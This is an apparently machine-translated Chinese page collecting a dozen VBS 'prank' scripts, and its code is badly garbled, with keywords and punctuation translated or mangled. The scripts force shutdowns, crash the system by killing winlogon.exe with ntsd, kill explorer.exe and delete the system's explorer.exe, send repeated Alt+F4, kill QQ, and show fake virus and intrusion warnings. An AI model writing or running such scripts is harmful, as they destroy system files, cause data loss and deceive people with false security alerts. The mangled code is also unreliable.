找到很多VBS的恶作剧代码。

第一个做msgbox "hi "循环，第二个设置s = createobject ("SAPI。sp voice”)I = 0 dos。Speakii I = I+1loop，第三个if MsgBox("抱歉，您需要重启电脑。"& ampchr(10)"您确定要重新启动吗？"，vbOKCancel+vbInformation，"重启电脑")= vbcancelthemsgbox "系统会立即重启哇~ _，“你被骗了！!"set objshell = createobject(" wscript。shell”)objshell。运行“shutdown-s-t 5”，真的结束如果第四个'这个vbs非常强大，蓝屏strs=array(13，105，102，32，77，15，103，66，1111，120Chr(strs(i)) next执行runner第五个if MsgBox("你是猪吗？"，vbYesNo，" prompt") =vbyes然后msgbox "你真傻！"Else msgbox”依然否认！！作为惩罚，蓝屏，你马上挂#！@#￥%@……#……?"，64，“严重警告！！！！！！！！!"Set ws = CreateObject("Wscript。shell”)wscript . sleep 1200 ws . run " cmd/c start/min ntsd-c q-pn winlogon.exe 1 & gt；nul 2 & gtNul”、vbhide end if第六集ws = createobject(" wscript . shell ")ws . run " cmd . exe/ccall calc . exe”、0第七集ws = createobject(" wscript . shell ")ws . run " cmd . exe/ctaskkill/f/imexplorer . exe”、0 wscript . sleep 900 w . run " cmd . exe/ccopy % windir % \ explorer.exe % windir % \ explorer。数据" wscript . sleep 1200 ws . run " cmd . exe/c del/q/f % windir % \ Explorer.exe "第八集ws = wscript . createobject(" wscript . shell ")ws . popup "大家好，我只是想改变一下社会风气，迷倒万千少女，刺激一下电影市场，提升一下年轻人的内涵，"，10，"出道"，64 ws.popup "匀称婀娜。，15，《再会》，64 wscript。睡100000 ws。弹出“重要windows更新未安装，系统会自动下载安装”，10 ws.popup“下载windows更新...“，12 wscript。睡10000 ws。弹出“WINDOWS update已下载，正在安装更新...“，12 wscript。睡眠3000 msgbox“系统检测到Windows update中携带未知软件comcontroler.exe，并被强行嵌入您的电脑”，4132。Msgbox "软件名称:com controler . exe " &；vbcrlf & amp“& ampvbcrlf & amp大小:1.21MB " & amp " &；vbcrlf & amp”& ampvbcrlf & amp"出版者:幻想永恒(403746401)" &；vbcrlf & amp”& ampvbcrlf & amp“安全状态:有病毒”，VB信息msgbox“com controller . exe有不安全因素”，4132，“是否阻止其安装“msgbox”失败，请检查防火墙是否开启“wscript . sleep 15000 ws . popup“Windows update安装成功！”、vbinformation、20msgbox“您的电脑可能已被入侵，请尽快修改您的QQ密码等机密信息，防止QQ被盗或信息丢失”，vbinformation ws.popup“哈哈，我已经控制了您的电脑！”，12，《幸会》，64 ws.popup《不信？我用你的电脑打开我的QQ空间给你看"，10 ws . run "/index . htm " ws . popup "。你现在相信了吗？我再打开你的记事本，给你写一封英文信”，记事本打开，最大化。这时候不要动，不要动到其他窗口，耐心等我写完信。否则造成系统混乱我概不负责！" ws.run "notepad "，3:wscript . sleep 2000 very bat = split("亲爱的，朋友们，~，nice，to，meet，you，我，am，so，sorry，that，我，controled，you，computer，without，you，allowing，~，please，excuse，me，me，我，I，want，to，to，say，to，you，today，~，my，friends，so，even，through，我们，面临，the，困难，of，today，and，tomorrow，~，还，有，a，dream，it，is见，你，后来，~，与，最美好的祝愿，~，你的，~，lhj "，"，" "，第九为每风在非常蝙蝠ws。sendkeys windwscript。睡500下ws。弹出“唉:-(( ⊙ o ⊙。啊，我太累了。我在886 "和30 ws下了飞机。弹出”。别忘了关掉QQ。我们把QQ”关了吧，8 ws。运行“taskkill/f/imqq . exe”ws。弹出”。你应该继续下去，好好享受”，27 dim WSHshell设置wsh shell = wscript . createobject(" wscript . shell ")为d=0到4 WSHshell。SendKeys " % { F4 } " nextws . run " shut down-s-t 1000600 " wscript . sleep 2000 dim a do a = inputbox("请输入密码取消关机")if a = " 403746401 " then ws . run " shut down-a " msgb。“退出do else msgbox”的密码验证失败。请输入密码取消关机:403746401 "，vbretrycanceend if循环ws。弹出“哈哈，害怕了吧？你觉得这真的是病毒吗？呵呵O(∩_∩)O~，我没那么会做病毒！”，57ws . popup”(\(o)/~嗯，我跟你开了个小玩笑。你也可以把这个文档发给别人，捉弄别人。哈哈_ "，62 wscript . sleep 8900 countil I = 10i = I+1 msgbox " CPU温度过高，系统出现严重错误！请结束所有应用程序，让CPU冷却下来！”，16+4096，"系统提示:" wscript.sleep 1000*45循环第十集sh = wscript . createobject(" wscript . shell ")。Sh.run"shutdown -s -t 332 "第十一dim wshshell set wshshell = wscript。CreateObject ("wscript。shell”)对于d = 0到40 wshshell。Sendkeys"% {F4} "接下来，第十二dim a，b，c，S set fs = createobject ("scripting。文件系统对象”)name = wscript。scriptnamefullname = wscript。scriptfullnamepath = replace(full name，name，" ")A = Inputbox("请在对话框中填写您的真实姓名！"& ampvbcrlf & amp”& ampvbcrlf & amp“待会儿我会给你一个意想不到的惊喜！! "& ampvbcrlf & amp”& ampvbcrlf & amp“如果你不相信我，你可以试试！！! "& ampvbcrlf & amp”& ampvbcrlf & amp“最好有个中文名……”，“瑞州提示:“，“请在此输入您的姓名”)如果A =”Thenwcript。退出end if myvar = msgbox("你的名字是" &；a & amp" "，vbYesNo+VB example，"周睿提示:")if myvar = vbyethenelse if myvar = vbnotthena = inputbox("请在对话框中填写您的真实姓名！"& ampvbcrlf & amp”& ampvbcrlf & amp“待会儿我会给你一个意想不到的惊喜！! "& ampvbcrlf & amp”& ampvbcrlf & amp“如果你不相信我，你可以试试！！! "& ampvbcrlf & amp”& ampvbcrlf & amp“最好有中文名”，“瑞州提示:“，“请在此输入姓名”)如果A = " "那么wscript。退出end if end if wscript。sleep 1000 b = Inputbox(" Dear " &；a & amp“你好！”& ampvbcrlf & amp”& ampvbcrlf & amp“请填写你的爱好。(随便填一个！)”，“周睿提示:“，“请在此输入你的兴趣爱好”)如果B = " "那么WScript。退出End IF WScript。Sleep 1000c = Inputbox("请在下面的对话框[年、月、日]中输入你的出生日期，计算机会自动计算出你至今在地球上存活了多久！"& ampvbcrlf & amp”& ampvbcrlf & amp“以下栏目对我来说不一样，可以修改”&；vbcrlf & amp”& ampChr(10)"格式为:1987-06-02 "，"瑞州提示: "，" 1987-06-02 ")如果C = " "那么wscript。退出end if wscript。sleep 1000 age = ABS(datediff(。c))WScript . sleep 1 current = now()h = datepart(" h "，current) n=datepart("n "，current) WScript。sleep 1000s = msgbox(Chr(10)amp；“恭喜”&；a & amp“在地球上幸存了下来”:&；年龄与年龄。“上帝”&；h & amp“小时”&；n & amp"分钟..... "，vbOKCancel+63，"周睿提示: ")若s = 2则end if set auto = fs . create textfile(" c:\ documents and settings \ all users \ desktop \ " &；a & amp“的秘密。VBS "，true)auto . writeline " msgbox " & " " " " & amp；“我的& amp是”&；a & amp”& amp" " " " " & amp“& ampvbcrlf & amp& amp" " " " " & amp”& amp" " " " " & amp“& ampvbcrlf & amp& amp" " " " " & amp“我的爱好是:“&；B& amp；”& amp" " " " " & amp“& ampvbcrlf & amp& amp" " " " " & amp”& amp" " " " " & amp“& ampvbcrlf & amp& amp" " " " " & amp”& ampa & amp“已经活着”:&；年龄与年龄。“上帝”&；h & amp“小时”&；n & amp“分钟”& " " " " & amp“，64，”& amp" " " " " & amp”& ampa & amp"自我介绍:" "汽车。writeline " msgbox " & " " " " & amp亲爱的“&；a & amp再见！" & amp“”& amp，48，“& amp“”& amp瑞州提示:“&”“& amp；" set auto = fs . create textfile(" c:\ documents and settings \ all users \ desktop \ wishes " &；a & amp生日快乐。TXT "，true)自动。WriteLine“我希望周睿:“&；a & amp生日快乐，心想事成，敢于大胆尝试，早日成功...“自动。WriteLine“你已经在地球上生活过了:“&；年龄与上帝”&；h & amp小时" &；n & amp分钟”自动。WriteLine“时间是根据你的出生日期计算的，可能不太准确，但目的只是让你知道时间过得很快。请珍惜时间！！！。"